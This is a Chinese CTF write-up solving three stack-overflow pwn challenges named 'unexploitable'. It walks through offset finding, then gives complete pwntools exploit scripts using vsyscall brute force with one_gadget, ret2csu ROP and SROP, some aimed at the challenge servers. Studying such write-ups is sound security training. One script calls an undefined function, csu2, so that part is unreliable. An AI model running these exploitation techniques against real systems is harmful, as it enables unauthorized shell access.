本篇wp中涉及三道pwn题,名字都叫做“unexploitable”。做完这三个题后,从保护措施及利用方法的区别,总结了如下对比图:
pwnable.kr unexploitable
题目附件:pwnable.kr
分析
二进制基本信息如下
1 2 3 4 5 6 7 8 9 10 $ file unexploitable unexploitable: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=aba2c1fb7a4bca286d75e23006f9fe01dfcb03c2, not stripped $ checksec unexploitable [*] '/home/bling/Downloads/kr-unexploitable/unexploitable' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
IDA反汇编,可以看到漏洞点超级明显,一个大大的栈溢出
1 2 3 4 5 6 7 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[16 ]; sleep(3u ); return read(0 , buf, 0x50F uLL); }
调试
通过如下脚本确定返回地址的偏移
1 2 3 4 5 6 7 8 9 10 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) io =process("./unexploitable" ) gdb.attach(io,"b *0x400577 \n c" ) payload = cyclic(100 ) io.send(payload) io.interactive()
断点0x400577(main函数的ret)处,rsp处存放的4字节内容是gaaa
,其偏移为24。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ───────────────────────────────────────────────────────────────────── stack ──── 0x007ffe16adddc8 │+0x0000 : "gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasa[...]" ← $rsp0x007ffe16adddd0 │+0x0008 : "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]" 0x007ffe16adddd8 │+0x0010 : "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]" 0x007ffe16addde0 │+0x0018 : "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]" 0x007ffe16addde8 │+0x0020 : "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa" 0x007ffe16adddf0 │+0x0028 : "qaaaraaasaaataaauaaavaaawaaaxaaayaaa" 0x007ffe16adddf8 │+0x0030 : "saaataaauaaavaaawaaaxaaayaaa" 0x007ffe16adde00 │+0x0038 : "uaaavaaawaaaxaaayaaa" ─────────────────────────────────────────────────────────────── code:x86:64 ──── 0x40056c <main+40 > mov eax, 0x0 0x400571 <main+45 > call 0x400430 <read@plt> 0x400576 <main+50 > leave ●→ 0x400577 <main+51 > ret [!] Cannot disassemble from $PC >>> cyclic_find("gaaa" )24
于是通过如下脚本,我们能控制该程序执行到任意ret_addr
地址
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) io =process("./unexploitable" ) gdb.attach(io,"b *0x400577 \n c" ) ret_addr = p64(0xdeadbeef ) payload = b"a" *24 + ret_addr io.send(payload) io.interactive()
利用
方法1 vsyscall暴破通解
由于ret时rsp指向的栈顶位置就是libc_start_main地址,因此无需使用vsyscall,直接覆盖返回地址的低3个字节为我们gadget的地址就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) s = ssh(host='pwnable.kr' ,user='unexploitable' ,password='guest' ,port=2222 ) while True : try : myio = s.run('./unexploitable' ) payload = b"a" *24 + b"\x47\xc2\xc9" sleep(3 ) myio.send(payload) sleep(0.03 ) myio.sendline("ls" ) sleep(0.03 ) myio.recv() myio.sendline("ls" ) sleep(0.03 ) myio.recv() myio.interactive() break except EOFError: myio.close()
经过漫长的等待,某一次暴破成功的场景,如果将"ls"
改成"cat flag"
就能直接打印flag
方法2 ROP
题目没有给libc,预期解法应该跟libc无关。确认题目程序无后门函数,为了获得shell,我们必须劫持控制流执行execve("/bin/sh")
或system("/bin/sh")
。got表中没有这两个函数,在忽略libc的情况下,为执行execve("/bin/sh")
,还有一种方法,就是利用系统调用syscall
指令。如下,在程序中正好找到了一条syscall
。
1 2 $ ROPgadget --binary="./unexploitable" | grep "sys" 0x0000000000400560 : syscall
利用思路如下:
read(0,bss_addr1,size)
:将"/bin/sh\x00"
字符串写入bss段
read(0,bss_addr2,size)
:将p64(0x400560)
写入bss段,ret2csu方法中通过call [bss_addr2]
来执行syscall指令 (1 2可合并成一步)
read(0,bss_addr3,59)
:由于程序中无控制rax的gadget,所以利用该函数返回将RAX置为59,对应与execve
的系统调用号
execve(bss_addr1,0,0)
:设置好参数后(rax:59, rdi:"/bin/sh", rsi:0, rdx:0
),跳转到syscall
指令,完成利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) myelf = ELF("./unexploitable" ) mylibc = ELF("./libc-2.23.so" ) myld = ELF("./ld-2.23.so" ) csu_first_addr = 0x4005e6 csu_second_addr = 0x4005d0 def csu (rbx, rbp, r12, r13, r14, r15, next_func ): payload = b'a' *24 payload += p64(csu_first_addr) + p64(0x0 ) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_second_addr) payload += b'b' * 0x38 payload += p64(next_func) return payload def csu_pad (rbx, rbp, r12, r13, r14, r15, next_func ): payload = b'a' *24 payload += p64(csu_first_addr) + p64(0x0 ) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_second_addr) payload += p64(0x0 ) + p64(rbx) + p64(rbp) + p64(0x601030 ) + p64(0x601028 ) + p64(0x0 ) + p64(0x0 ) payload += p64(next_func) return payload s = ssh(host='pwnable.kr' ,user='unexploitable' ,password='guest' ,port=2222 ) myio = s.run('./unexploitable' ) payload = csu(0 ,1 ,0x601000 ,0 ,0x601028 ,30 ,0x400544 ) myio.send(payload) sleep(3 ) myio.sendline(b"/bin/sh\x00" +p64(0x400560 )) sleep(3 ) payload = csu_pad(0 ,1 ,0x601000 ,0 ,0x601050 ,59 ,0x4005d0 ) myio.send(payload) sleep(3 ) myio.sendline(b"e" *58 ) myio.interactive()
方法3 SROP
我的利用方式是ret2csu+sigreturn
,实际上有更简单的方法就是栈迁移+sigreturn
SROP时如果无需再次返回执行,只需要找syscall
单条指令就行。如果需要返回执行,需要设置好rsp,并且找syscall; ret
合二为一的gadget。
本题思路如下:
1、往bss段写入”/bin/sh\x00”字符串
2、在栈上构造好sigFrame结构体
3、利用read()将rax变成15
4、pop ip,执行sigreturn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) myelf = ELF("./unexploitable" ) mylibc = ELF("./remote-lib/libc-2.23.so" ) myld = ELF("./remote-lib/ld-2.23.so" ) csu_first_addr = 0x4005e6 csu_second_addr = 0x4005d0 syscall_addr = 0x400560 syscall_ret_addr = 0xffffffffff600007 read_got_addr = 0x601000 bss_bin_sh_addr = 0x601028 main_addr = 0x400544 def csu (rbx, rbp, r12, r13, r14, r15, next_func ): payload = b'a' *24 payload += p64(csu_first_addr) + p64(0x0 ) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_second_addr) payload += p64(0x0 ) + p64(rbx) + p64(rbp) + p64(read_got_addr) + p64(0x0 ) + p64(0x601050 ) + p64(0xf ) payload += p64(next_func) return payload s = ssh(host='pwnable.kr' ,user='unexploitable' ,password='guest' ,port=2222 ) myio = s.run('./unexploitable' ) payload = csu(0 ,1 ,read_got_addr,0 ,bss_bin_sh_addr,30 ,csu_second_addr) payload += p64(0x0 )*7 payload += p64(syscall_addr) frame = SigreturnFrame(kernel="amd64" ) frame.rax = 59 frame.rdi = bss_bin_sh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr payload += bytes (frame) myio.send(payload) sleep(3 ) myio.sendline(b"/bin/sh\x00" ) sleep(3 ) myio.sendline(b"a" *14 ) myio.interactive()
其他方法参考
[pwnable.kr] unexploitable :栈迁移+sigreturn,此方法未使用通用gadgetlibc_csu_init
,更简单
Pwnable Challenge: Unexploitable :如果目标服务器/tmp目录可写,local exp
知识点
SROP
CTFwiki-SROP
Sigreturn Oriented Programming攻击简介
Sigreturn-Oriented Programming (SROP)
正常情况下的linux signal机制流程
1、用户态某个进程发起signal,控制权转移到内核
2、内核保存用户态进程的上下文信息(寄存器状态等),并把rt_sigreturn地址压栈。然后跳转到用户态执行signal handler
3、signal handler执行完后,调用rt_sigreturn进入内核态
4、内核恢复步骤2
中保存的用户态进程上下文信息,后将控制权交给用户态进程
ret2setcontext53
setcontext学习
setcontext 函数
堆题中常用的一个方法,设置的结构体跟SROP中构造的结构体是同一个。
该方法本题未使用,因为碰巧看到了,就暂时记在这里。
pwnable.tw unexploitable
pwnable.tw
在pwnable.kr的基础上,去掉了程序中的syscall
指令
分析
题目给了一个二进制程序unexploitable
和libc文件libc_64.so.6
。先看一下基本信息:
64位动态链接程序,未去符号表;
got表可写,栈未开canary,栈不可执行,未开代码段随机化
libc版本是2.23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ file unexploitable unexploitable: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=aba2c1fb7a4bca286d75e23006f9fe01dfcb03c2, not stripped $ checksec unexploitable [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/bling/Downloads/tw-unexploitable/unexploitable' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $ strings libc_64.so.6| grep version versionsort64 versionsort argp_program_version_hook gnu_get_libc_version argp_program_version RPC: Incompatible versions of RPC RPC: Program/version mismatch <malloc version="1" > Print program version (PROGRAM ERROR) No version known!? %s: %s; low version = %lu, high version = %lu GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. crypt add-on version 2.1 by Michael Glad and others .gnu.version .gnu.version_d .gnu.version_r
运行该程序,输入超长字符串后,程序崩溃
1 2 3 $ ./unexploitable 111111111111111111111111111111111111111111111111111111111111111111111 [1] 32752 segmentation fault (core dumped) ./unexploitable
IDA中查看程序主要逻辑,很明显的一个栈溢出
1 2 3 4 5 6 7 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[16 ]; sleep(3u ); return read(0 , buf, 0x100 uLL); }
调试
使用如下脚本发送100个字符给程序,观察main函数ret时栈顶的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) myelf = ELF("./unexploitable" ) mylibc = ELF("./libc_64.so.6" ) myio = process(myelf.path) gdb.attach(myio) sleep(3 ) payload = cyclic(100 ) myio.send(payload) myio.interactive()
单步到ret指令处,此时栈顶的四字节为gaaa
1 2 3 4 5 6 7 8 9 ──────────────────────────────────── stack ──── 0x007ffd2806b8d8│+0x0000: "gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasa[...]" ← $rsp 0x007ffd2806b8e0│+0x0008: "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]" ─────────────────────────────── code:x86:64 ──── 0x40056c <main+40> mov eax, 0x0 0x400571 <main+45> call 0x400430 <read@plt> 0x400576 <main+50> leave → 0x400577 <main+51> ret [!] Cannot disassemble from $PC
所以返回地址的偏移为24
1 2 3 >>> from pwn import *>>> cyclic_find("gaaa" )24
通过溢出main函数的返回地址,我们可以将控制流劫持到任意地址,如0xdeadbeef
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) myelf = ELF("./unexploitable" ) mylibc = ELF("./libc_64.so.6" ) myio = process(myelf.path) sleep(3 ) payload = b"a" *24 + p64(0xdeadbeef ) myio.send(payload) myio.interactive()
利用
通过栈溢出,我们可以控制程序执行到任意地址,下一步该怎样呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 $ strings unexploitable| grep system $ strings unexploitable| grep "/bin/sh" $ ROPgadget --binary="./unexploitable" > rop.txt $ cat rop.txt| grep pop 0x000000000040050b : add byte ptr [rcx], al ; add rsp, 8 ; pop rbx ; pop rbp ; ret 0x000000000040050e : add esp, 8 ; pop rbx ; pop rbp ; ret 0x000000000040050d : add rsp, 8 ; pop rbx ; pop rbp ; ret 0x000000000040064e : int1 ; add rsp, 8 ; pop rbx ; pop rbp ; ret 0x0000000000400536 : je 0x400540 ; pop rbp ; mov edi, 0x600e48 ; jmp rax 0x000000000040064d : jne 0x400640 ; add rsp, 8 ; pop rbx ; pop rbp ; ret 0x0000000000400538 : pop rbp ; mov edi, 0x600e48 ; jmp rax 0x0000000000400512 : pop rbp ; ret 0x0000000000400511 : pop rbx ; pop rbp ; ret 0x000000000040064c : push qword ptr [rbp - 0xf] ; add rsp, 8 ; pop rbx ; pop rbp ; ret $ cat rop.txt| grep syscall $ objdump -R ./unexploitable ./unexploitable: file format elf64-x86-64 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0000000000600fe0 R_X86_64_GLOB_DAT __gmon_start__ 0000000000601000 R_X86_64_JUMP_SLOT read @GLIBC_2.2.5 0000000000601008 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5 0000000000601010 R_X86_64_JUMP_SLOT sleep@GLIBC_2.2.5
可以看到,没有合适的gadget,程序中没有syscall指令,got表中没有puts/write/printf的信息泄露函数。那我们现在有什么呢?
通用gadget段(libc_csu_init)可用
vsyscall(0xffffffffff600000)区域存在,可以当作一个ret
read/system函数在libc中偏移一定位置有syscall指令
所以,总的思路还是要么暴破,要么通过ROP(syscall)或者SROP
方法1 vsyscall暴破通解
本地打成功了,远程未成功
检查溢出字节,查看ret
时栈中情况
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) myelf = ELF("./unexploitable" ) mylibc = ELF("./libc_64.so.6" ) myio = process(myelf.path) sleep(3 ) payload = b"a" *24 + b"b" myio.send(payload) myio.interactive()
如下,ret
时,rsp中的值正好为libc中地址,因此我们可以找一条合适的onegadget,进行暴破。
根据栈中的状态及onegadget的限制条件,确定libc中偏移为0xf0567
的gadget可用
本地的脚本代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) while True : try : myio = process("./unexploitable" ) payload = b"a" *24 + b"\xfc\xc2\xba" myio.send(payload) sleep(0.03 ) myio.sendline("ls" ) sleep(0.03 ) myio.recv() myio.sendline("ls" ) sleep(0.03 ) myio.recv() myio.interactive() break except EOFError: myio.close()
远程代码如下,但是未成功,跑到800多次的时候远程服务器无响应了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) a = 0 while True : try : myio = remote("chall.pwnable.tw" ,10403 ) sleep(3 ) payload = b"a" *24 + b"\x67\x05\x9a" myio.send(payload) sleep(0.03 ) myio.sendline("ls" ) sleep(0.03 ) myio.recv() myio.sendline("ls" ) sleep(0.03 ) myio.recv() myio.interactive() break except EOFError: a += 1 print("[+++] {:d}" .format (a)) myio.close()
方法2 ROP
利用ret2csu+read函数可以实现任意地址写任意值
ROP的思路如下:
改sleep的got表项内容,低1字节改成"\xDE"
。sleep在libc中的偏移为0xCB680
,在0xCB6DE
处是一条syscall指令。
将“/bin/sh\x00”写到bss段,写入总长度位59,返回后rax被置为59
布置好rdi,rsi,rdx三个参数的值,通过syscall完成execve("/bin/sh",0,0)
的调用,获得shell
完整利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) csu_first_addr = 0x4005e6 csu_second_addr = 0x4005d0 def csu_chain (rbx, rbp ): payload = b'a' *24 + p64(csu_first_addr) payload += p64(0x0 ) + p64(rbx) + p64(rbp) + p64(0x601000 ) + p64(0 ) + p64(0x601010 ) + p64(1 ) payload += p64(csu_second_addr) payload += p64(0x0 ) + p64(rbx) + p64(rbp) + p64(0x601000 ) + p64(0 ) + p64(0x601030 ) + p64(59 ) payload += p64(csu_second_addr) payload += p64(0x0 ) + p64(rbx) + p64(rbp) + p64(0x601010 ) + p64(0x601030 ) + p64(0 ) + p64(0 ) payload += p64(csu_second_addr) return payload myio = remote("chall.pwnable.tw" ,10403 ) payload = csu2(0 ,1 ) sleep(3 ) myio.send(payload) sleep(0.03 ) myio.send(b"\xde" ) sleep(0.03 ) myio.send(b"/bin/sh\x00" +b"a" *51 ) myio.interactive()
方法3 SROP
栈迁移+sigreturn
参考wp:https://github.com/zj3t/pwnable.tw
其他暴破思路
改read_got为onegadget
read函数在libc中的偏移:0xf6670
0xf0567
这条gadget的偏移:0xf0567
只需要暴破半个字节
改sleep_got为execve
本地打成功了,远程未成功
sleep函数在libc中的偏移:0xCB680
execve函数在libc中的偏移:0xCBBC0
分三步:
先把”/bin/sh”写到bss段,0x60130
再布置好rdi,rsi,rdx,(利用csu gadget)
回到调用sleep处
祥云杯2022 unexploitable
附件:unexploitable.tar
分析
二进制基本信息
1 2 3 4 5 6 7 8 9 10 $ file ./unexploitable ./unexploitable: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5d66afeabecb7b7190cfbdbc4bb6b5846c896e2a, stripped $ checksec ./unexploitable [*] '/home/bling/Downloads/unexploitable' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
IDA打开看main函数逻辑,很明显有个栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall main (int a1, char **a2, char **a3) { sub_7D0(); return 0LL ; } ssize_t sub_7D0 () { char buf[16 ]; return read(0 , buf, 0x30000 uLL); }
执行二进制,确认输入超长字符串会使程序崩溃
1 2 3 $ ./unexploitable aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault (core dumped)
调试
这个题直接用gdb ./unexploitable
调试的话,执行完read(0, buf, 0x30000uLL)
将返回-1
,不知道是有反调试还是咋。最终用pwntools的gdb.attach()实现的调试,脚本如下:
1 2 3 4 5 6 7 8 9 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) myio = process("./unexploitable" ) gdb.attach(myio) sleep(3 ) payload = cyclic(50 ) myio.send(payload) myio.interactive()
得到偏移24后的8byte数据会覆盖sub_7D0()
函数返回时的RIP
1 2 3 >>> from pwn import * >>> cyclic_find("gaaa") 24
通过如下脚本,可以实现劫持控制流到任意地址ret_addr
。
1 2 3 4 5 6 7 8 9 10 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) myio = process("./unexploitable" ) gdb.attach(myio) sleep(3 ) ret_addr = 0xdeadbeef payload = b"a" *24 + p64(ret_addr) myio.send(payload) myio.interactive()
利用
于是这个题,最让人困扰的地方到了。开了PIE,GOT表只读,没有puts/write/printf
等可以泄露地址的函数。所以这个ret_addr
改成什么呢?
此时无法通过泄露获得完整的地址,而栈上返回地址是返回到main中的。如果利用一下这个地址,ret_addr
只覆盖低1字节,或者低2字节,是可以实现跳转到text段某个地址处执行的。但是琢磨了一圈也没想到合适的代码片段。
查看sub_7D0()
函数返回时的状态,如下图。如果通过栈溢出将+0x0000
和+0x0008
跳过,覆盖+0x0010
低字节为某个onegadget的值,并将其pop到rip中,就能实现get shell。
怎么pop呢?0xffffffffff600000[vsyscall]
区域,可以当作一个单独的ret
gadget,能满足上述要求。
题目给的libc中有如下三个one_gadget,根据调试时内存状态,选择了0x4f302
这个。
1 2 3 4 5 6 7 8 9 10 11 12 0x4f2a5 execve("/bin/sh" , rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f302 execve("/bin/sh" , rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a2fc execve("/bin/sh" , rsp+0x70, environ) constraints: [rsp+0x70] == NULL
因此,我们只需将栈中覆盖成如下状态,就能达到执行libc中one_gadget的目的。其中302
是固定的,x4f
可以随机选择,我们需要暴破这1.5个字节,概率为1/(2^12) = 1/4096
。
最终我选择的暴破目标是”84f302”,代码如下,在本地有一定的概率get shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) while True : try : myio = process("./unexploitable" ) vsyscall_addr = 0xffffffffff600000 payload_str = b"a" *24 + p64(vsyscall_addr)+ p64(vsyscall_addr) + b"\x02\xf3\x84" myio.send(payload_str) sleep(0.03 ) myio.sendline("cat flag" ) sleep(0.03 ) myio.recv() myio.interactive() break except EOFError: myio.close()
但是,打远程的时候有些奇怪现象出现,需要连续输入4次才有反应,打远程的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) while True : try : myio = remote("ip" ,port) vsyscall_addr = 0xffffffffff600000 payload = b"a" *24 + p64(vsyscall_addr)+ p64(vsyscall_addr) + b"\x02\xf3\x84" myio.send(payload) sleep(0.03 ) myio.send(payload) sleep(0.03 ) myio.send(payload) sleep(0.03 ) myio.send(payload) sleep(0.03 ) myio.sendline("cat flag" ) sleep(0.03 ) myio.sendline("cat flag" ) sleep(0.03 ) myio.sendline("cat flag" ) sleep(0.03 ) myio.sendline("cat flag" ) sleep(0.03 ) myio.recv() myio.interactive() break except EOFError: myio.close()
知识点 - vsyscall
使用vmmap可以看到vsyscall区域,它的起始地址是固定的0xffffffffff600000,可以将该地址抽象为一个ret
(详细情况见文章:vsyscall bypass pie )。
1 2 3 4 5 6 gef➤ vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path ...... 0x007fffda5e5000 0x007fffda5e6000 0x00000000000000 r-x [vdso] 0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]
在ubuntu16.04中,该区域可读。我们可以在gdb中查看到该区域的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 gef➤ vmmap ...... 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x/5i 0xffffffffff600000 0xffffffffff600000: mov rax,0x60 0xffffffffff600007: syscall 0xffffffffff600009: ret 0xffffffffff60000a: int3 0xffffffffff60000b: int3 gef➤ x/5i 0xffffffffff600400 0xffffffffff600400: mov rax,0xc9 0xffffffffff600407: syscall 0xffffffffff600409: ret 0xffffffffff60040a: int3 0xffffffffff60040b: int3 gef➤ x/5i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 0xffffffffff60080b: int3